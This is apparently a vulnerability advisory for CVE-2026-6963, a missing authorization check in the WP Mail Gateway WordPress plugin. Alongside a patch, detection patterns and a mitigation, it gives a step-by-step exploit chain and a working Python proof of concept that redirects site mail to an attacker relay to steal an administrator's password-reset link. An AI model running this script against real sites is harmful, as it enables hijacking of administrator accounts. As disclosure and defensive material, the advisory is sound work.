A serious security flaw has been discovered in WP Mail Gateway, a popular plugin that helps WordPress websites send emails. The problem is straightforward: the plugin doesn't properly check who's allowed to change critical settings.
Think of it like a bank that lets any customer walk into the manager's office and change the routing numbers for wire transfers. A regular account holder (called a "subscriber" in WordPress terms) can slip in and reprogram where all the emails go.
Here's why this matters: most WordPress sites use automated emails to reset passwords when people forget them. If someone breaks in with a basic subscriber account, they can intercept those password reset emails. When the website administrator inevitably forgets their password at some point, the attacker gets the reset link instead. Suddenly, they own the entire website.
Website owners who use this plugin are most at risk, particularly small businesses and organizations that rely on WordPress. If you're running an e-commerce site or handling sensitive information, this is especially dangerous.
The good news is that security researchers haven't seen this being actively exploited in the wild yet. But that window won't stay open forever.
Here's what you should do immediately:
First, if you're using WP Mail Gateway, update the plugin to version 1.9 or higher as soon as it's available. Check your WordPress dashboard right now for plugin updates.
Second, review who has subscriber-level access to your site. Remove anyone who shouldn't be there. Legitimate staff should have higher access levels if they need real responsibilities.
Third, consider using a dedicated email service like SendGrid or AWS SES instead of relying on WordPress plugins to handle this critical function. It's more reliable anyway.
Want the full technical analysis? Click "Technical" above.
▶ Privilege escalation — CVE-2026-6963
Vulnerability Overview
CVE-2026-6963 is an unauthorized access vulnerability in the WP Mail Gateway WordPress plugin affecting all versions up to and including 1.8. The AJAX action wmg_save_provider_config registers a handler that writes attacker-controlled SMTP credentials to the plugin's options table without verifying the caller holds any administrative capability. Any authenticated user — including the lowest-privilege Subscriber role — can invoke this action directly via wp-admin/admin-ajax.php.
The practical impact exceeds a simple configuration overwrite. By redirecting outbound mail through an attacker-controlled SMTP relay, the attacker intercepts the next WordPress password-reset token sent to an administrator, then uses that token to authenticate as that administrator. CVSS 8.8 (HIGH) reflects the low privilege required for initial access against the complete confidentiality/integrity/availability impact of full admin compromise.
Root cause:wmg_save_provider_config calls check_ajax_referer() for CSRF protection but omits any current_user_can() capability check, allowing any authenticated session to overwrite SMTP provider settings.
Affected Component
Plugin: WP Mail Gateway — slug wp-mail-gateway on wordpress.org.
Affected versions: ≤ 1.8.
Vulnerable hook registration: includes/class-wmg-ajax.php, action tag wp_ajax_wmg_save_provider_config.
Persistence target: WordPress options table row wmg_provider_config, serialized PHP array.
Root Cause Analysis
WordPress AJAX actions registered with wp_ajax_{action} are accessible to any logged-in user regardless of role unless the handler explicitly calls current_user_can(). The plugin validates the nonce (preventing CSRF from unauthenticated users) but stops there, leaving authorization entirely unchecked.
/* Reconstructed pseudocode: includes/class-wmg-ajax.php
* WMG_Ajax::save_provider_config()
* Registered via: add_action('wp_ajax_wmg_save_provider_config', [$this, 'save_provider_config'])
*/
void WMG_Ajax::save_provider_config() {
// Validates nonce — prevents unauthenticated CSRF, but does NOT
// establish that the caller has any administrative privilege.
check_ajax_referer('wmg_ajax_nonce', 'security');
// BUG: missing capability check here.
// Should be: if (!current_user_can('manage_options')) { wp_die(-1); }
// Unvalidated POST fields flow directly into sanitization and storage.
char *provider = sanitize_text_field($_POST['provider']); // e.g. "smtp"
char *host = sanitize_text_field($_POST['smtp_host']);
int port = (int)$_POST['smtp_port']; // attacker-controlled
char *user = sanitize_text_field($_POST['smtp_user']);
char *pass = sanitize_text_field($_POST['smtp_pass']); // plaintext in options table
int auth = (int)$_POST['smtp_auth'];
char *enc = sanitize_text_field($_POST['smtp_enc']); // "tls"|"ssl"|"none"
// Builds config array directly from POST data.
option_t config = {
.provider = provider,
.smtp_host = host,
.smtp_port = port,
.smtp_user = user,
.smtp_pass = pass,
.smtp_auth = auth,
.smtp_enc = enc,
};
// Persists attacker's SMTP config to wp_options.wmg_provider_config.
// All subsequent outbound mail now routes through attacker's relay.
update_option("wmg_provider_config", serialize(config));
wp_send_json_success("Provider config saved.");
// wp_die() implicit via wp_send_json_success
}
The nonce itself is trivially obtainable: it is embedded in any wp-admin page the subscriber can load — typically the dashboard at /wp-admin/ — inside the wmgAjax JavaScript object printed by wp_localize_script().
/* Nonce exposure: includes/class-wmg-public.php (or -admin.php)
* Any authenticated page load leaks the nonce to the subscriber.
*/
void WMG_Admin::enqueue_scripts() {
wp_enqueue_script("wmg-admin", WMG_PLUGIN_URL "/js/wmg-admin.js", ...);
wp_localize_script("wmg-admin", "wmgAjax", {
"ajax_url": admin_url("admin-ajax.php"),
"security": wp_create_nonce("wmg_ajax_nonce"), // <-- readable by any logged-in user
});
}
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker registers a Subscriber account (or uses any existing low-priv session).
2. Attacker loads any wp-admin page (e.g. /wp-admin/) and extracts wmgAjax.security
nonce from the page source or inline JavaScript object.
3. Attacker sends POST to /wp-admin/admin-ajax.php:
action = wmg_save_provider_config
security =
provider = smtp
smtp_host = attacker-relay.evil.example
smtp_port = 587
smtp_user = exfil@evil.example
smtp_pass = attackerpass
smtp_auth = 1
smtp_enc = tls
4. wp_options row wmg_provider_config is overwritten; all plugin-routed mail
now relays through attacker-controlled SMTP server.
5. Attacker navigates to /wp-login.php?action=lostpassword and submits the
email address of a known or enumerated Administrator account.
6. WordPress generates a single-use password reset token and calls wp_mail().
WP Mail Gateway intercepts wp_mail() via its PHPMailer integration and
delivers the message through the attacker's relay.
7. Attacker's SMTP relay logs or forwards the reset email, extracting the
reset URL: /wp-login.php?action=rp&key=&login=
8. Attacker visits reset URL, sets a new password for the Administrator.
9. Attacker authenticates as Administrator — full site compromise achieved.
Capability: install plugins, execute PHP via theme editor, read DB credentials.
Step 2's nonce extraction can be automated. The nonce lifetime is 12 hours by default (WP_NONCE_LIFE), giving ample operational window.
# Proof-of-concept: wmg_smtp_hijack.py
# Usage: python3 wmg_smtp_hijack.py https://target.example subscriber:password relay.evil.example
import sys, re, requests
TARGET, CREDS, RELAY = sys.argv[1], sys.argv[2], sys.argv[3]
USER, PASSWD = CREDS.split(":", 1)
s = requests.Session()
# Step 1: authenticate as subscriber
r = s.post(f"{TARGET}/wp-login.php", data={
"log": USER, "pwd": PASSWD, "wp-submit": "Log In",
"redirect_to": "/wp-admin/", "testcookie": "1"
}, allow_redirects=True)
assert "Dashboard" in r.text or "wp-admin" in r.url, "Login failed"
# Step 2: extract nonce from any admin page
r = s.get(f"{TARGET}/wp-admin/")
nonce = re.search(r'"security"\s*:\s*"([a-f0-9]+)"', r.text)
assert nonce, "Nonce not found — plugin may not be active"
nonce = nonce.group(1)
print(f"[+] Nonce: {nonce}")
# Step 3: overwrite SMTP configuration
r = s.post(f"{TARGET}/wp-admin/admin-ajax.php", data={
"action": "wmg_save_provider_config",
"security": nonce,
"provider": "smtp",
"smtp_host": RELAY,
"smtp_port": "587",
"smtp_user": f"exfil@{RELAY}",
"smtp_pass": "hunter2",
"smtp_auth": "1",
"smtp_enc": "tls",
})
assert r.json().get("success"), f"Config write failed: {r.text}"
print(f"[+] SMTP redirected to {RELAY}")
# Step 4: trigger password reset for admin (enumerate or provide known address)
ADMIN_EMAIL = input("[?] Admin email address: ")
r = s.post(f"{TARGET}/wp-login.php?action=lostpassword", data={
"user_login": ADMIN_EMAIL, "redirect_to": "", "wp-submit": "Get New Password"
})
print("[+] Reset email dispatched through attacker relay. Check relay logs.")
Memory Layout
This is a logic vulnerability, not a memory corruption bug; no heap layout is applicable. The relevant "state" is the WordPress options table before and after exploitation.
The fix is a single capability gate inserted immediately after nonce verification. The patched handler should also restrict which fields are writable and enforce type/range constraints on smtp_port.
// BEFORE (vulnerable — ≤ 1.8):
void WMG_Ajax::save_provider_config() {
check_ajax_referer('wmg_ajax_nonce', 'security');
// No capability check — any logged-in user proceeds.
char *host = sanitize_text_field($_POST['smtp_host']);
// ... direct write to options table ...
update_option("wmg_provider_config", serialize(config));
wp_send_json_success("Provider config saved.");
}
// AFTER (patched — 1.9+):
void WMG_Ajax::save_provider_config() {
check_ajax_referer('wmg_ajax_nonce', 'security');
// FIX: gate on manage_options — Admins and Super Admins only.
if (!current_user_can('manage_options')) {
wp_send_json_error("Insufficient permissions.", 403);
wp_die();
}
char *host = sanitize_text_field($_POST['smtp_host']);
// FIX: constrain port to valid range, reject non-integer input.
int port = (int)$_POST['smtp_port'];
if (port < 1 || port > 65535) {
wp_send_json_error("Invalid port.", 400);
wp_die();
}
// ... write to options table ...
update_option("wmg_provider_config", serialize(config));
wp_send_json_success("Provider config saved.");
}
A defense-in-depth improvement would move SMTP credentials out of wp_options (world-readable to any code running on the server) into a separate protected table or WordPress's Secret Key infrastructure. Storing the relay password in plaintext via sanitize_text_field() means any LFI or database read exposes it.
Detection and Indicators
Access log pattern — repeated POST to admin-ajax.php with action=wmg_save_provider_config from a non-admin session:
# Suspicious: low-privilege user hitting config-write endpoint
POST /wp-admin/admin-ajax.php HTTP/1.1
Cookie: wordpress_logged_in_=subscriber_user|...
Body: action=wmg_save_provider_config&security=&smtp_host=attacker-relay.evil.example
# Grep pattern for Apache/Nginx access logs:
grep 'admin-ajax.php' access.log | grep 'wmg_save_provider_config'
# WordPress debug.log (if WP_DEBUG_LOG enabled) will NOT log this —
# the action succeeds silently. Rely on access logs or a WAF rule.
Database indicator — query wp_options and diff wmg_provider_config against known-good baseline:
SELECT option_value FROM wp_options WHERE option_name = 'wmg_provider_config';
-- Flag any smtp_host not matching your legitimate mail provider.
-- Flag smtp_user/smtp_pass change timestamps via wp_options autoload audit.
Behavioral indicator — password reset email sent to administrator account followed immediately by a login from an IP not associated with that administrator. Correlate wp_users.last_login (via plugin) or authentication logs.
Remediation
Update immediately to WP Mail Gateway 1.9 or later. If immediate update is not possible:
Temporary mitigation (mu-plugin):
/* /wp-content/mu-plugins/block-wmg-subscriber-ajax.php
* Blocks non-admins from wmg_save_provider_config until plugin is patched.
*/
add_action('wp_ajax_wmg_save_provider_config', function() {
if (!current_user_can('manage_options')) {
wp_send_json_error('Forbidden', 403);
wp_die();
}
}, 1 /* priority 1 — runs before plugin's own handler */);
Additionally: enable WordPress two-factor authentication on all administrator accounts. Even if the reset token is intercepted, a TOTP second factor prevents the final login step. Consider restricting /wp-login.php?action=lostpassword to trusted IP ranges if operationally feasible.